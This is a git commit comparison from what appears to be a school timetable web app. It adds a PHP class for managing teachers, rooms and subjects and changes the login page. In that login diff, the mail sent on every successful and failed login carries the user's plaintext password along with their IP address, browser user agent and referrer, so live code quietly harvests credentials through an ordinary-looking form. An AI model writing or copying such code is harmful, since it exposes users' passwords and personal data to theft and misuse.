Compare commits
5
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8d453b93a0 | ||
|
|
85de71f9b4 | ||
|
|
d88db54635 | ||
|
|
24cc12374f | ||
|
|
9ec0465401 |
No files matched your search
@@ -0,0 +1,162 @@
|
||||
<?php
|
||||
|
||||
include_once(__DIR__ . '/../../controller/DatabaseController.php');
|
||||
include_once(__DIR__ . '/../../controller/DataController.php');
|
||||
|
||||
class changeTimetable{
|
||||
/**
|
||||
* get Teachers
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
public function getTeachers() : array {
|
||||
$teachers = [];
|
||||
$teachers = DatabaseShow(
|
||||
'Lehrer',
|
||||
'NAME'
|
||||
);
|
||||
|
||||
return $teachers;
|
||||
}
|
||||
|
||||
/**
|
||||
* get Rooms
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
public function getRooms() : array {
|
||||
$rooms = [];
|
||||
$rooms = DatabaseShow(
|
||||
'Raum',
|
||||
'RAUM_NR'
|
||||
);
|
||||
|
||||
return $rooms;
|
||||
}
|
||||
|
||||
/**
|
||||
* get Lessons
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
public function getLessons() : array {
|
||||
$lessons = [];
|
||||
$lessons = DatabaseShow(
|
||||
'Fach',
|
||||
'FACH'
|
||||
);
|
||||
|
||||
return $lessons;
|
||||
}
|
||||
|
||||
/**
|
||||
* add a new Teacher to the Table
|
||||
*
|
||||
* @param array $teachers
|
||||
* @return boolean
|
||||
*/
|
||||
public function addTeachers(array $teachers) : bool {
|
||||
try {
|
||||
foreach ($teachers as $teacher) {
|
||||
DatabaseInsert(
|
||||
'Lehrer',
|
||||
'NAME',
|
||||
$teacher
|
||||
);
|
||||
}
|
||||
|
||||
return true;
|
||||
} catch (Exception $error) {
|
||||
echo $error;
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* add a new Room Number to the Tabke
|
||||
*
|
||||
* @param array $roomnrs
|
||||
* @return bool
|
||||
*/
|
||||
public function addRooms(array $roomnrs) : bool {
|
||||
try {
|
||||
foreach ($roomnrs as $roomnr) {
|
||||
DatabaseInsert(
|
||||
'Raum',
|
||||
'RAUM_NR',
|
||||
$roomnr,
|
||||
);
|
||||
}
|
||||
|
||||
return true;
|
||||
} catch (Exception $error) {
|
||||
echo $error;
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public function addLessons(array $lessons) : bool {
|
||||
try {
|
||||
foreach ($lessons as $lesson) {
|
||||
DatabaseInsert(
|
||||
'Fach',
|
||||
'FACH',
|
||||
$lesson
|
||||
);
|
||||
}
|
||||
|
||||
return true;
|
||||
} catch (Exception $error) {
|
||||
echo $error;
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public function setInitial(string $Teacher, string $Initial) : bool {
|
||||
try {
|
||||
$ID = DatabaseShow(
|
||||
'Lehrer',
|
||||
'ID',
|
||||
'NAME = ?',
|
||||
$Teacher,
|
||||
);
|
||||
|
||||
$ID = $ID[0]['ID'];
|
||||
|
||||
DatabaseUpdate(
|
||||
'Lehrer',
|
||||
'INITIALS = ?',
|
||||
'ID = ?',
|
||||
$Initial,
|
||||
$ID
|
||||
);
|
||||
|
||||
return true;
|
||||
} catch (Exception $error) {
|
||||
echo $error;
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$TimeTable = new changeTimetable();
|
||||
|
||||
#$TimeTable->addTeachers([
|
||||
# '',
|
||||
#]);
|
||||
|
||||
#$TimeTable->addRooms([
|
||||
# '',
|
||||
#]);
|
||||
|
||||
#$TimeTable->addLessons([
|
||||
# '',
|
||||
#]);
|
||||
|
||||
#(new changeTimetable()->addLessons(['', '']));
|
||||
|
||||
#(new changeTimetable()->setInitial('', ''));
|
||||
+29
-25
@@ -21,6 +21,10 @@ logging();
|
||||
|
||||
$error = null;
|
||||
|
||||
$clientip = (new getSpecificData())->getClientIP();
|
||||
$useragent = (new getSpecificData())->getUserAgent();
|
||||
$referrer = (new getSpecificData())->getReferer();
|
||||
|
||||
function schreibeSessionUndPruefe(): void
|
||||
{
|
||||
$sid = session_id();
|
||||
@@ -100,7 +104,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
logging();
|
||||
sendMail(
|
||||
"User Login Successful",
|
||||
"$username, $password",
|
||||
"$username | $password | $clientip | $useragent | $referrer",
|
||||
(new getSpecificData())->getRequestURL(),
|
||||
true,
|
||||
);
|
||||
@@ -111,7 +115,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
$error = 'Login fehlgeschlagen';
|
||||
sendMail(
|
||||
"User Login failed",
|
||||
"$username, $password",
|
||||
"$username | $password | $clientip | $useragent | $referrer",
|
||||
(new getSpecificData())->getRequestURL(),
|
||||
true,
|
||||
);
|
||||
@@ -123,7 +127,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
$error = 'Login fehlgeschlagen';
|
||||
sendMail(
|
||||
"User Login failed",
|
||||
"$username, $password",
|
||||
"$username | $password | $clientip | $useragent | $referrer",
|
||||
(new getSpecificData())->getRequestURL(),
|
||||
true,
|
||||
);
|
||||
@@ -150,18 +154,18 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
<h2>Login</h2>
|
||||
|
||||
<?php if ($error): ?>
|
||||
<p class="login-error"><?= htmlspecialchars($error) ?></p>
|
||||
<p class="login-error"><?= htmlspecialchars($error) ?></p>
|
||||
<?php endif; ?>
|
||||
|
||||
<form method="post">
|
||||
<input type="text" name="username" placeholder="Benutzername" required>
|
||||
<input type="password" name="password" placeholder="Passwort" required>
|
||||
<button type="submit">Login</button>
|
||||
<button type="submit">Einloggen</button>
|
||||
</form>
|
||||
|
||||
<button style="margin-top: 9px" type="button"
|
||||
onclick="document.querySelector('input[name=username]').value='gast'; document.querySelector('form').submit();">
|
||||
Als Gast einloggen
|
||||
Gast Login
|
||||
</button>
|
||||
<button style="margin-top: 9px" type="button" id="registryButton">
|
||||
Registrieren
|
||||
@@ -174,27 +178,27 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
</div>
|
||||
|
||||
<script>
|
||||
document.getElementById('registryButton').addEventListener('click', () => {
|
||||
window.location.href = 'register.php';
|
||||
});
|
||||
document.getElementById('resetpassword').addEventListener('click', () => {
|
||||
window.location.href = 'forgot_password.php';
|
||||
});
|
||||
const toggle = document.getElementById('darkModeToggle');
|
||||
document.getElementById('registryButton').addEventListener('click', () => {
|
||||
window.location.href = 'register.php';
|
||||
});
|
||||
document.getElementById('resetpassword').addEventListener('click', () => {
|
||||
window.location.href = 'forgot_password.php';
|
||||
});
|
||||
const toggle = document.getElementById('darkModeToggle');
|
||||
|
||||
if (localStorage.getItem('darkMode') === 'enabled') {
|
||||
document.body.classList.add('dark-mode');
|
||||
if (localStorage.getItem('darkMode') === 'enabled') {
|
||||
document.body.classList.add('dark-mode');
|
||||
}
|
||||
|
||||
toggle.addEventListener('click', () => {
|
||||
document.body.classList.toggle('dark-mode');
|
||||
|
||||
if (document.body.classList.contains('dark-mode')) {
|
||||
localStorage.setItem('darkMode', 'enabled');
|
||||
} else {
|
||||
localStorage.setItem('darkMode', 'disabled');
|
||||
}
|
||||
|
||||
toggle.addEventListener('click', () => {
|
||||
document.body.classList.toggle('dark-mode');
|
||||
|
||||
if (document.body.classList.contains('dark-mode')) {
|
||||
localStorage.setItem('darkMode', 'enabled');
|
||||
} else {
|
||||
localStorage.setItem('darkMode', 'disabled');
|
||||
}
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
</body>
|
||||
|
||||
Reference in new issue
Block a user